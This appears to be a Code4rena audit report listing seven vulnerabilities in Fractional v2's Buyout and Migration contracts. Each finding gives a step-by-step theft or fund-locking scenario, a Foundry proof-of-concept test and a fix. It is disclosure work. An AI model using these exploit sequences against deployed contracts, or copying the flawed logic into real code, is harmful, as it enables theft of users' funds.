Fractional v2 contest - panprog's results

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L88

Vulnerability details

Impact

If totalSupply is high (10**19 or higher), then due to rounding, fractionPrice can end up equal to 0 (if buyoutPrice is smaller than totalSupply). High totalSupply is easily possible, for example if it's considered as fixed point value with 18 decimals.

Possible unexpected loss of all deposited fractions scenario:

1. Bob starts buyout by depositing 1 ether and 5 * 10**18 fractions (with totalSupply = 10**19). Bob expects the buyoutPrice to be 2 ether (if his shares are bought, he should get 2 ether back).
2. Due to rounding, fractionPrice is 0.
3. Alice immediately buys all Bob's fractions for free (0 ether).
4. Buyout module now has 1 ether and 0 fractions.
5. After proposal expires, Bob gets back 1 ether instead of 2 ether, and no fractions. Effectively Bob has lost all his fractions.

Proof of Concept

Add this code to test/Buyout.t.sol

function testPanprogBugH1() public {
	initializeBuyout(alice, bob, 10**19, 5 * 10**18, true);

	// bob deposits half of total supply fractions + 1 ether
	// (expecting total buyout amount to be 2 ether)
	bob.buyoutModule.start{value: 1 ether}(vault);

	// alice buys all bob's fractions for free (0 ether)
	alice.buyoutModule.buyFractions{value: 0 ether}(vault, 5 * 10**18);

	// bob expects buyout module to hold 2 ether,
	// however this fails and buyout module holds only 1 ether
	// bob effectively has lost all his shares without any compensation
	assertEq(getETHBalance(buyout), 2 ether);
}

Recommended Mitigation Steps

Store buyoutPrice instead of fractionPrice and calculate payment value for fractions when needed, for example for buying fractions:

   if (msg.value != buyoutPrice * _amount / totalSupply) revert InvalidPayment();

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L289-L326

Vulnerability details

Impact

If proposal passes, but buyout fails, buyout might have a different amounts of fractions and eth compared to what was deposited, but the Migration contract assumes the distribution is the same as what was in the proposal (and sent to buyout) in withdrawContribution. This means that some (or all) users will be unable to withdraw their fractions and/or ether after failed buyout, and ether and tokens will be stuck in Migration contract forever.

Loss of ether scenario:

1. Bob starts proposal, deposits 10 ether, commits it
2. Buyout starts and Alice sells 1 fraction for 0.001 ether
3. Buyout ends unsuccessful and bob calls end, returning 9.999 ether + 1 fraction to Migration
4. Bob then attempts to withdrawContribution to get back his funds, however transaction reverts, because it tries to send 10 ether to Bob, but contract only has 9.999 ether + 1 fraction from Migration, meaning Bob's ether is stuck in the Migration forever.

Proof of Concept

Add this code to test/Migration.t.sol

function testPanprogBugH6() public {
	User memory aliceMem = alice;
	initializeMigration(aliceMem, bob, 10000, 4000, true);
	setApproval(aliceMem, buyout, true);

	(nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
	// Migrate to a vault with no permissions (just to test out migration)
	address[] memory newModules = new address[](2);

	newModules[0] = migration;
	newModules[1] = modules[1];

	// Bob makes the proposal
	bob.migrationModule.propose(
		vault,
		newModules,
		nftReceiverPlugins,
		nftReceiverSelectors,
		TOTAL_SUPPLY * 2,
		1 ether
	);
	// Bob joins the proposal with 10 ether
	bob.migrationModule.join{value: 10 ether}(vault, 1, 0);

	// Bob starts the buyout with 10 ether and 0 fractions
	bob.migrationModule.commit(vault, 1);

	// Alice sells 1000 fraction to Bob for a small amount of ether
	alice.buyoutModule.sellFractions(vault, 1);

	// buyout ends and fails to get 50% fractions
	vm.warp(proposalPeriod * 10);

	// bob ends the buyout, returning 9.999 ether + 1 fraction to Migration
	bob.buyoutModule.end(vault, burnProof);

	// bob now tries to get back his contribution but fails, because
	// Migration still thinks that bob is owed 10 ether, but it only has 9.999 ether + 1 fraction
	// withdrawal reverts and Bob's 10 ether are stuck in the Migration with no way to get it back
	bob.migrationModule.withdrawContribution(vault, 1);
}

Recommended Mitigation Steps

withdrawContribution logic should be fixed to use actual amount of ether and fractions returned from buyout and then re-distribute that to users based on the new ratio.

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L210 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L73

Vulnerability details

Impact

When buyout starts, it takes all fractions owned by proposer. This means that when Migration contract starts a buyout, it takes all fractions it has, not just the fractions from the proposal. This is easily exploitable by anyone.

Stealing fractions scenario:

1. Bob starts a proposal, deposits 3000 fractions
2. Alice immediately starts another proposal with targetPrice = 0, deposits 0 fractions and minimal ether (value: 1, which is 10^-18 ether)
3. Since price is larger than targetPrice, Alice immediately commits the proposal
4. Buyout is started, but instead of 0 fractions it has 3000 fractions from bob, because starting buyout took all Migration's fractions.
5. Alice immediately buys 3000 fractions from buyout for free (0 ether).
6. At this point Alice has successfully stolen all deposited fractions.

Proof of Concept

Add this code to test/Migration.t.sol

function testPanprogBugH4() public {
	initializeMigration(alice, bob, 10000, 10000, true);

	(nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
	// Migrate to a vault with no permissions (just to test out migration)
	address[] memory newModules = new address[](2);

	newModules[0] = migration;
	newModules[1] = modules[1];

	// Bob makes the proposal
	bob.migrationModule.propose(
		vault,
		newModules,
		nftReceiverPlugins,
		nftReceiverSelectors,
		TOTAL_SUPPLY * 2,
		10 ether
	);
	// Bob joins the proposal with 3000 fractions
	bob.migrationModule.join{value: 1 ether}(vault, 1, 3000);

	// Alice starts a competing proposal (we use bob's data for simplicity)
	alice.migrationModule.propose(
		vault,
		newModules,
		nftReceiverPlugins,
		nftReceiverSelectors,
		TOTAL_SUPPLY * 10,
		0 ether
	);

	// Alice joins her proposal with 0 fractions and minimum allowed ether (for the price to be above target)
	alice.migrationModule.join{value: 1}(vault, 2, 0);

	// since the target price is reached, alice starts the buyout on her proposal
	alice.migrationModule.commit(vault, 2);

	// at this point buyout should be empty, but in fact due to bug it has 3000 fractions from bob
	// alice can now buy fractions from buyout for free (it should revert, but it doesn't)
	vm.expectRevert(
		abi.encodeWithSelector(IBuyout.InvalidPayment.selector)
	);
	alice.buyoutModule.buyFractions(vault, 3000);
}

Recommended Mitigation Steps

Buyout start function should include amount of fractions a proposer deposits, and Migration's commit function should specify correct fractions amount when starting a buyout.

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L307-L325

Vulnerability details

Impact

withdrawContribution function is supposed to only work on failed proposals, however due to incorrect logic it can be called at any time if buyout is inactive. This allows to use 2 more vulnerabilities in this function:

1. It reduces user's proposal amounts, but not proposal's amount. If any user deposits ether into proposal (increasing proposal's ethAmount) and then calls withdrawContribution - he will get back his ether, but the proposal's ethAmount will not be reduced. When the user then commits his proposal, proposal's ethAmount is sent to buyout using any of the ether deposited into the other proposals, effectively stealing ether from the other proposals.

There is an alternative usage of this function which is also high severity: to block any proposal from commiting. Any user can join, then withdrawContribution (possibly multiple times) to any proposal inflating its ethAmount. Then commit attempt will try to send more ether than the contract holds, reverting the transaction, basically blocking proposal from commiting.

2. Re-entrancy bug due to the order of withdrawals (first fractions are reduced and sent, then eth is reduced and sent). If onERC1155Received callback is implemented and calls commit, then user receives back his fractions, starts buyout with ether amount which includes user's contribution, but then user's ether is sent back to him (effectively double-sending the user's contribution - one time to buyout, the other time - back to user). This allows user to inflate buyout's ether contribution and buyout price by using ether deposited to the other proposals (effectively stealing this ether from those depositors).

Stealing ether scenario 1:

1. Bob starts a good proposal, deposits 10 ether
2. Alice immediately starts another (malicious) proposal with targetPrice = 0, deposits 10 ether
3. Alice then calls withdrawContribution to get her 10 ether back (but proposal's ethAmount is still 10 ether)
4. Alice then commits her proposal, sending 10 ether to buyout for her proposal, which is stolen from bob.
5. If buyout succeeds, alice just used stolen funds to buyout her malicious proposal. If buyout fails, ether is returned back to Migration after 4 days, and Alice can repeat the same process. Alice can also use these stolen funds to sell her fractions for inflated price.

Stealing ether scenario 2:

1. Bob starts a good proposal, deposits 10 ether
2. Alice immediately starts another (malicious) proposal with targetPrice = 0, deposits 10 ether
3. Alice then calls withdrawContribution to get her 10 ether back, but her smart contract implements onERC1155Received, which calls commit for Alice's proposal.
4. At this point 10 ether is sent to buyout and once execution exits commit and onERC1155Received, back in withdrawContribution alice is sent 10 ether back to her.
5. At this point buyout has 10 ether (from bob), Migration has 0 ether and Alice hasn't spent anything to create her mailicious buyout with bob's 10 ether. She can sell her fractions for inflated price or she might be able to have the buyout passed, which will allow her to steal all tokens from the vault.

Proof of Concept

Add this code to test/Migration.t.sol

function testPanprogBugH5() public {
	initializeMigration(alice, bob, 10000, 5000, true);

	(nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
	// Migrate to a vault with no permissions (just to test out migration)
	address[] memory newModules = new address[](2);

	newModules[0] = migration;
	newModules[1] = modules[1];

	// Bob makes the proposal
	bob.migrationModule.propose(
		vault,
		newModules,
		nftReceiverPlugins,
		nftReceiverSelectors,
		TOTAL_SUPPLY * 2,
		20 ether
	);
	// Bob joins the proposal with 10 ether
	bob.migrationModule.join{value: 10 ether}(vault, 1, 0);

	// Alice starts a competing proposal (we use bob's data for simplicity)
	alice.migrationModule.propose(
		vault,
		newModules,
		nftReceiverPlugins,
		nftReceiverSelectors,
		TOTAL_SUPPLY * 10,
		0 ether
	);

	// Alice joins her proposal with 10 ether
	alice.migrationModule.join{value: 10}(vault, 2, 0);

	// Alice immediately takes out her 10 ether using withdrawContribution instead of leave
	alice.migrationModule.withdrawContribution(vault, 2);

	// at this point, alice's proposal has 0 ether deposited, but proposal's eth amount is 10 ether
	// now alice can commit her proposal and bob's 10 ether will be sent for the proposal
	alice.migrationModule.commit(vault, 2);

	// buyout should have 0 ether, but in fact it has 10 ether from bob, which
	// alice effectively stole to create her own buyout with bob's funds
	assertEq(getETHBalance(buyout), 0 ether);
}

Recommended Mitigation Steps

withdrawContribution logic should be fixed to revert on any active proposals. It is also recommended to mark all base functions nonReentrant just in case (currently only join is marked as nonReentrant), because reentrancy can be tricky and it's easy to miss some attack vector with reentrancy, better be on a safer side with most main functions guarded.

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L147-L150

Vulnerability details

Impact

If buyout is initiated by someone else while proposal is active, nobody can leave the proposal (withdraw their ether and/or fractions). And if buyout succeeds, their ether and fractions will be stuck forever (loss of ether and tokens). There are 2 functions of the same functionality (leave and withdrawContribution), however both have the same problem (withdrawContribution has additional check for newVault).

Possible loss of funds and fractions scenario:

1. Bob starts proposal to migrate.
2. Bob joins proposal with 1 ether and 4000 (out of 10000) fractions.
3. Alice immediately starts buyout with 10 ether and 6000 fractions (60%).
4. At this point Bob is unable to get back his ether and/or fractions, because both leave and withdrawContribution functions revert due to active buyout.
5. When Alice's buyout finishes, Alice calls end to finalize the successful buyout (as it has > 50% fractions).
6. At this point Bob's ether and fractions are stuck forever in proposal and he can't withdraw.

Proof of Concept

Add this code to test/Migration.t.sol

function testPanprogBugH2() public {
	User memory aliceMem = alice;
	initializeMigration(aliceMem, bob, 10000, 4000, true);
	setApproval(aliceMem, buyout, true);

	(nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
	// Migrate to a vault with no permissions (just to test out migration)
	address[] memory modules = new address[](1);
	modules[0] = address(mockModule);
	// Bob makes the proposal
	bob.migrationModule.propose(
		vault,
		modules,
		nftReceiverPlugins,
		nftReceiverSelectors,
		TOTAL_SUPPLY * 2,
		1 ether
	);
	// Bob joins the proposal with 4000 fractions
	bob.migrationModule.join{value: 1 ether}(vault, 1, 4000);

	// Alice starts buyout with 10 ether and 6000 fractions (60%)
	alice.buyoutModule.start{value:10 ether}(vault);

	vm.warp(rejectionPeriod + 1);

	// once buyout period elapses, alice finalizes the buyout
	alice.buyoutModule.end(vault, burnProof);

	// at this point Bob wants to withdraw his fractions and ether from migration proposal
	// to sell to Alice's buyout
	// however this call reverts due to alice running buyout
	// Bob's ether and fractions are now stuck forever in the Migration contract
	bob.migrationModule.leave(vault, 1);
}

Recommended Mitigation Steps

Be aware, that simply adding check for commited proposal (to let users withdraw from uncommited proposals even if buyout is active) is still vulnerable to the same problem if one proposal starts a buyout which fails, and then immediately after that another proposal starts a buyout which succeeds. Both proposals will have isCommited = true, so the users who has deposited into the failed proposal will still be unable to withdraw.

A better solution is to add a new state variable for currently active proposal id. This way there will be a clear indication of active proposal (and any inactive proposals can withdraw then).

There is also a tricky case if active proposal is commited, buyout fails (and becomes inactive), but a new buyout is started by someone else. Proposal should be considered active only if current buyout's proposer is Migration contract.

This new logic should be applied to multiple parts of the code where appropriate (commit function - should revert if there is active proposal, or uncommit active proposal (if it's active but buyout is inactive - this means it has failed)). New functions to uncommit/fail active proposal if there is no active buyout should probably be also added.

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L457-L463

Vulnerability details

Impact

migrateFractions allows any user to migrate fractions to new vault many times, each time sending them their share of fractions. This allows to get all (or most) of the new vault's fractions, effectively stealing ownership from the other users of the proposal (they will not be able to get their fractions).

Stealing ownership scenario:

1. Bob starts proposal
2. Both Bob and Alice deposit 10 ether + 40% of fractions into proposal
3. Bob commits starting buyout
4. Once deadline passes, bob ends the successful buyout (as it has 80% of fractions)
5. Bob calls settleVault and settleFractions
6. At this time Alice calls migrateFractions twice, getting 50% of fractions of the new vault each time, a total of 100% fractions of the new vault, effectively stealing the new vault from bob (whose migrateFractions calls will now fail as Migration doesn't have any more fractions of the new vault to send to bob).

Proof of Concept

Add this code to test/Migration.t.sol

function testPanprogBugH7() public {
	initializeMigration(alice, bob, 10000, 5000, true);

	(nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
	// Migrate to a vault with no permissions (just to test out migration)
	address[] memory newModules = new address[](2);

	newModules[0] = migration;
	newModules[1] = modules[1];

	// Bob makes the proposal
	bob.migrationModule.propose(
		vault,
		newModules,
		nftReceiverPlugins,
		nftReceiverSelectors,
		100,
		1 ether
	);

	// Both bob and alice joins the proposal with 10 ether and 4000 shares
	bob.migrationModule.join{value: 10 ether}(vault, 1, 4000);
	alice.migrationModule.join{value: 10 ether}(vault, 1, 4000);

	// bob starts the buyout
	bob.migrationModule.commit(vault, 1);

	// buyout ends with success with 80% fractions
	vm.warp(proposalPeriod * 10);

	// bob ends the buyout and migrates
	bob.buyoutModule.end(vault, burnProof);
	bob.migrationModule.settleVault(vault, 1);
	bob.migrationModule.settleFractions(vault, 1, mintProof);

	// now users can start migrating their old shares to new vault
	// Alice migrates her 4000 fractions getting 50 fractions in the new vault
	alice.migrationModule.migrateFractions(vault, 1);

	// ..then migrates her 4000 fractions again getting 100 (100%) of fractions in the new vault
	// (stealing new vault ownership from bob)
	vm.expectRevert(
		abi.encodeWithSelector(IMigration.NewFractionsAlreadyMinted.selector)
	);
	alice.migrationModule.migrateFractions(vault, 1);
}

Recommended Mitigation Steps

After calculating user's contribution in new vault, zero out his proposal contribution:

userProposalEth[_proposalId][msg.sender] = 0;
userProposalFractions[_proposalId][msg.sender] = 0;

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L221-L229

Vulnerability details

Impact

If one proposal starts a buyout which fails, and then another proposal starts a buyout which succeeds, then both of them will be commited and settleVault can be called on any of them. If it's called on the failed proposal first, then it will settle even though buyout has failed (and it can proceed to withdraw all tokens to a new vault).

Malicious proposal being able to successfully migrate scenario:

1. Bob starts a malicious proposal to migrate with a low targetPrice, which immediately initiates a buyout
2. Buyout fails (but malicious proposal is marked as commited)
3. Alice starts a good proposal to migrate, which goes on to buyout which eventually succeeds to get 50%+ fractions
4. Alice ends the buyout
5. Bob immediately calls settleVault with his malicious proposal
6. Bob's malicious proposal settles (and he can go on to withdraw all tokens from the vault into his malicious proposal effectively stealing assets from Alice).

Proof of Concept

Add this code to test/Migration.t.sol

function testPanprogBugH3() public {
	initializeMigration(alice, bob, 10000, 4000, true);

	(nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
	// Migrate to a vault with no permissions (just to test out migration)
	address[] memory newModules = new address[](2);

	newModules[0] = migration;
	newModules[1] = modules[1];

	// Bob makes the proposal
	bob.migrationModule.propose(
		vault,
		newModules,
		nftReceiverPlugins,
		nftReceiverSelectors,
		TOTAL_SUPPLY * 2,
		1 ether
	);
	// Bob joins the proposal with 4000 fractions
	bob.migrationModule.join{value: 1 ether}(vault, 1, 4000);

	// since the target price is reached, bob starts the buyout
	bob.migrationModule.commit(vault, 1);

	vm.warp(rejectionPeriod + 1);

	// after buyout fails, bob ends it
	// note: bob's proposal is still commited even though it has failed
	bob.buyoutModule.end(vault, burnProof);
	bob.migrationModule.withdrawContribution(vault, 1);

	// Alice makes a different proposal (we use bob's data for simplicity)
	alice.migrationModule.propose(
		vault,
		newModules,
		nftReceiverPlugins,
		nftReceiverSelectors,
		TOTAL_SUPPLY * 10,
		1 ether
	);

	// Alice joins the proposal with 6000 fractions
	alice.migrationModule.join{value: 1 ether}(vault, 2, 6000);

	// since the target price is reached, alice starts the buyout
	alice.migrationModule.commit(vault, 2);

	vm.warp(proposalPeriod * 10);

	// after buyout succeeds (as it has >50% of fractions), alice ends it
	// note: both bob's and alice's proposals are commited at this point
	alice.buyoutModule.end(vault, burnProof);

	// Now bob (whose buyout has failed) settles his proposal
	// It should revert, but it succeeds
	vm.expectRevert(
		abi.encodeWithSelector(IMigration.UnsuccessfulMigration.selector)
	);
	bob.migrationModule.settleVault(vault, 2);
}

Recommended Mitigation Steps

Add a new storage variable for currently active proposal id. Allow calling settleVault only for active proposal id (and also only if buyout's proposer equals Migration address, otherwise there can be a different successful buyout not connected to the active proposal). Also add appropriate checks with active proposal in the other functions as well (don't allow to commit if there is an active proposal etc)